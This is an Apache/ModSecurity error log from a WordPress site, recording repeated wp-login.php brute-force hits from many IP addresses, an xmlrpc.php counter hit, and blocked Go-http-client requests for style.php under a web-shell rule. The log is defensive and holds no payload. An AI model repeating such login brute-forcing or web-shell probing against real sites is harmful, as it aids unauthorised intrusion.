[Wed Jan 28 20:42:48.853348 2026] [:error] [pid 33580:tid 33599] [client 148.66.155.229:49736] [client 148.66.155.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.155.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoESJlb0QJtwfka8l5bAAAAAQw"]
[Wed Jan 28 20:42:50.383008 2026] [:error] [pid 33580:tid 33597] [client 148.66.155.229:49736] [client 148.66.155.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.155.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoESplb0QJtwfka8l5bAgAAAQo"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:50:09.934523 2026] [:error] [pid 33489:tid 33502] [client 37.153.91.213:60276] [client 37.153.91.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.153.91.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoGARZrVZwQUFWC7_9QNgAAAAk"]
[Wed Jan 28 20:50:14.000049 2026] [:error] [pid 33489:tid 33497] [client 37.153.91.213:60276] [client 37.153.91.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.153.91.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoGBRZrVZwQUFWC7_9QNwAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:52:56.074814 2026] [:error] [pid 33580:tid 33602] [client 52.71.49.243:43954] [client 52.71.49.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.71.49.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoGqJlb0QJtwfka8l5c2QAAAQ8"]
[Wed Jan 28 20:52:57.768362 2026] [:error] [pid 33580:tid 33606] [client 52.71.49.243:43954] [client 52.71.49.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.71.49.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoGqZlb0QJtwfka8l5c3AAAARM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:55:58.885168 2026] [:error] [pid 2625:tid 2641] [client 37.153.91.213:34476] [client 37.153.91.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.153.91.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoHXlZhY64HvuPd7w1loAAAAUo"]
[Wed Jan 28 20:56:00.841743 2026] [:error] [pid 2625:tid 2653] [client 37.153.91.213:34476] [client 37.153.91.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.153.91.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoHYFZhY64HvuPd7w1loQAAAVY"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:01:49.664490 2026] [:error] [pid 42740:tid 42750] [client 103.179.56.102:48630] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoIvVnjAS34srJlXgSn7QAAAIg"]
[Wed Jan 28 21:01:51.437567 2026] [:error] [pid 42740:tid 42747] [client 103.179.56.102:48630] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoIv1njAS34srJlXgSn8AAAAIU"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:02:18.179597 2026] [:error] [pid 42740:tid 42765] [client 103.48.194.67:49940] [client 103.48.194.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.48.194.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoI2lnjAS34srJlXgSoBwAAAJc"]
[Wed Jan 28 21:02:20.078536 2026] [:error] [pid 42740:tid 42758] [client 103.48.194.67:49940] [client 103.48.194.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.48.194.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoI3FnjAS34srJlXgSoCAAAAJA"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:03:06.313833 2026] [:error] [pid 24452:tid 24456] [client 103.179.56.102:52106] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoJCv0RQOh_GmqmVyZ35QAAAYI"]
[Wed Jan 28 21:03:08.102579 2026] [:error] [pid 24452:tid 24478] [client 103.179.56.102:52106] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoJDP0RQOh_GmqmVyZ35wAAAZg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:03:15.139619 2026] [:error] [pid 33490:tid 33526] [client 103.49.131.239:53230] [client 103.49.131.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.49.131.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoJE2jexcy58gsBPJG4-gAAAEI"]
[Wed Jan 28 21:03:17.524620 2026] [:error] [pid 33490:tid 33527] [client 103.49.131.239:53230] [client 103.49.131.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.49.131.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoJFWjexcy58gsBPJG4_AAAAEM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:04:36.997919 2026] [:error] [pid 33491:tid 33559] [client 37.153.91.213:48774] [client 37.153.91.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.153.91.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoJZGP9UY0x3irkINAzJAAAAMg"]
[Wed Jan 28 21:04:40.478113 2026] [:error] [pid 33491:tid 33552] [client 37.153.91.213:48774] [client 37.153.91.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.153.91.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoJaGP9UY0x3irkINAzKAAAAME"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:10:46.989883 2026] [:error] [pid 2625:tid 2632] [client 43.153.36.110:52354] [client 43.153.36.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXoK1lZhY64HvuPd7w1ocAAAAUE"]
[Wed Jan 28 21:13:56.511510 2026] [:error] [pid 33490:tid 33534] [client 209.235.136.144:42420] [client 209.235.136.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoLlGjexcy58gsBPJG8GQAAAEo"]
[Wed Jan 28 21:13:58.237852 2026] [:error] [pid 33490:tid 33526] [client 209.235.136.144:42420] [client 209.235.136.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoLlmjexcy58gsBPJG8HAAAAEI"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:14:05.412076 2026] [:error] [pid 33489:tid 33503] [client 34.30.170.78:52936] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoLnRZrVZwQUFWC7_9UqwAAAAo"]
[Wed Jan 28 21:14:07.153125 2026] [:error] [pid 33489:tid 33494] [client 34.30.170.78:52936] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoLnxZrVZwQUFWC7_9UrgAAAAE"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:15:37.455375 2026] [:error] [pid 33490:tid 33548] [client 80.241.214.201:47116] [client 80.241.214.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.241.214.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoL-Wjexcy58gsBPJG85QAAAFg"]
[Wed Jan 28 21:15:41.592933 2026] [:error] [pid 33490:tid 33524] [client 80.241.214.201:47116] [client 80.241.214.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.241.214.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoL_Wjexcy58gsBPJG86wAAAEA"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:16:27.851957 2026] [:error] [pid 33490:tid 33529] [client 209.235.136.144:55266] [client 209.235.136.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoMK2jexcy58gsBPJG9KgAAAEU"]
[Wed Jan 28 21:16:29.518042 2026] [:error] [pid 33490:tid 33548] [client 209.235.136.144:55266] [client 209.235.136.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoMLWjexcy58gsBPJG9LAAAAFg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:20:55.148057 2026] [:error] [pid 2625:tid 2652] [client 34.30.170.78:58422] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoNN1ZhY64HvuPd7w1qRwAAAVU"]
[Wed Jan 28 21:24:44.755003 2026] [:error] [pid 24482:tid 24486] [client 103.48.194.67:52042] [client 103.48.194.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.48.194.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoOHKLaUZr_xWekSHOsSAAAAcA"]
[Wed Jan 28 21:28:17.155480 2026] [:error] [pid 33636:tid 33638] [client 209.235.136.144:58312] [client 209.235.136.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoO8dIVZAudQH0BSC5EUQAAAgA"]
[Wed Jan 28 21:28:18.839769 2026] [:error] [pid 33636:tid 33657] [client 209.235.136.144:58312] [client 209.235.136.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoO8tIVZAudQH0BSC5EVAAAAhM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:29:07.507686 2026] [:error] [pid 24482:tid 24489] [client 31.214.168.132:40064] [client 31.214.168.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.214.168.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoPI6LaUZr_xWekSHOtRQAAAcM"]
[Wed Jan 28 21:29:09.268318 2026] [:error] [pid 24482:tid 24500] [client 31.214.168.132:40064] [client 31.214.168.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.214.168.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoPJaLaUZr_xWekSHOtSQAAAc4"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:32:08.784486 2026] [:error] [pid 2625:tid 2637] [client 69.176.84.37:50146] [client 69.176.84.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.176.84.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXoP2FZhY64HvuPd7w1tBwAAAUY"]
[Wed Jan 28 21:33:56.591691 2026] [:error] [pid 33489:tid 33501] [client 103.179.56.102:57362] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoQRBZrVZwQUFWC7_9YxQAAAAg"]
[Wed Jan 28 21:33:58.354874 2026] [:error] [pid 33489:tid 33510] [client 103.179.56.102:57362] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoQRhZrVZwQUFWC7_9YyQAAABE"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:36:01.674588 2026] [:error] [pid 24452:tid 24472] [client 51.15.139.63:38366] [client 51.15.139.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.15.139.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoQwf0RQOh_GmqmVyaBxgAAAZI"]
[Wed Jan 28 21:36:05.450589 2026] [:error] [pid 24452:tid 24473] [client 51.15.139.63:38366] [client 51.15.139.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.15.139.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoQxf0RQOh_GmqmVyaBzQAAAZM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:36:18.677413 2026] [:error] [pid 33490:tid 33535] [client 104.28.203.58:38907] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aXoQ0mjexcy58gsBPJHEggAAAEs"]
[Wed Jan 28 21:36:26.334397 2026] [:error] [pid 2625:tid 2638] [client 104.28.235.58:14436] [client 104.28.235.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aXoQ2lZhY64HvuPd7w1uBQAAAUc"]
[Wed Jan 28 21:38:03.086184 2026] [:error] [pid 33636:tid 33642] [client 103.48.194.67:44578] [client 103.48.194.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.48.194.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoRO9IVZAudQH0BSC5GPQAAAgQ"]
[Wed Jan 28 21:38:04.936829 2026] [:error] [pid 33636:tid 33640] [client 103.48.194.67:44578] [client 103.48.194.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.48.194.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoRPNIVZAudQH0BSC5GQQAAAgI"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:44:25.260973 2026] [:error] [pid 2625:tid 2642] [client 46.101.217.74:44798] [client 46.101.217.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.217.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoSuVZhY64HvuPd7w1v6wAAAUs"]
[Wed Jan 28 21:44:26.946067 2026] [:error] [pid 2625:tid 2649] [client 46.101.217.74:44798] [client 46.101.217.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.217.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoSulZhY64HvuPd7w1v7gAAAVI"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:49:52.891505 2026] [:error] [pid 2625:tid 2640] [client 47.242.167.96:55564] [client 47.242.167.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.242.167.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoUAFZhY64HvuPd7w1xDQAAAUk"]
[Wed Jan 28 21:55:25.336864 2026] [:error] [pid 24452:tid 24460] [client 163.223.13.96:54360] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.223.13.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoVTf0RQOh_GmqmVyaHmQAAAYY"]
[Wed Jan 28 21:55:27.156411 2026] [:error] [pid 24452:tid 24454] [client 163.223.13.96:54360] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.223.13.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoVT_0RQOh_GmqmVyaHnAAAAYA"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 21:58:37.808371 2026] [:error] [pid 42740:tid 42760] [client 148.66.159.112:48216] [client 148.66.159.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.159.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoWDVnjAS34srJlXgSz9wAAAJI"]
[Wed Jan 28 21:58:39.690566 2026] [:error] [pid 42740:tid 42754] [client 148.66.159.112:48216] [client 148.66.159.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.159.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoWD1njAS34srJlXgSz-AAAAIw"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:05:04.429430 2026] [:error] [pid 24482:tid 24510] [client 68.178.175.156:54996] [client 68.178.175.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.175.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoXkKLaUZr_xWekSHO1FgAAAdg"]
[Wed Jan 28 22:05:08.137071 2026] [:error] [pid 24482:tid 24508] [client 68.178.175.156:54996] [client 68.178.175.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.175.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoXlKLaUZr_xWekSHO1GAAAAdY"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:10:04.755643 2026] [:error] [pid 33580:tid 33590] [client 148.66.159.112:55464] [client 148.66.159.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.159.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoYvJlb0QJtwfka8l5rjwAAAQM"]
[Wed Jan 28 22:10:06.717807 2026] [:error] [pid 33580:tid 33595] [client 148.66.159.112:55464] [client 148.66.159.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.159.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoYvplb0QJtwfka8l5rkAAAAQg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:13:32.584934 2026] [:error] [pid 2625:tid 2637] [client 160.191.139.197:60758] [client 160.191.139.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.191.139.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoZjFZhY64HvuPd7w12nQAAAUY"]
[Wed Jan 28 22:13:34.862669 2026] [:error] [pid 2625:tid 2644] [client 160.191.139.197:60758] [client 160.191.139.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.191.139.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoZjlZhY64HvuPd7w12oAAAAU0"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:23:19.868433 2026] [:error] [pid 33489:tid 33494] [client 51.15.139.63:26134] [client 51.15.139.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.15.139.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXob1xZrVZwQUFWC7_9jHQAAAAE"]
[Wed Jan 28 22:23:23.718954 2026] [:error] [pid 33489:tid 33515] [client 51.15.139.63:26134] [client 51.15.139.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.15.139.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXob2xZrVZwQUFWC7_9jIwAAABY"], referer: https://gigfragments.org/wp-login.php
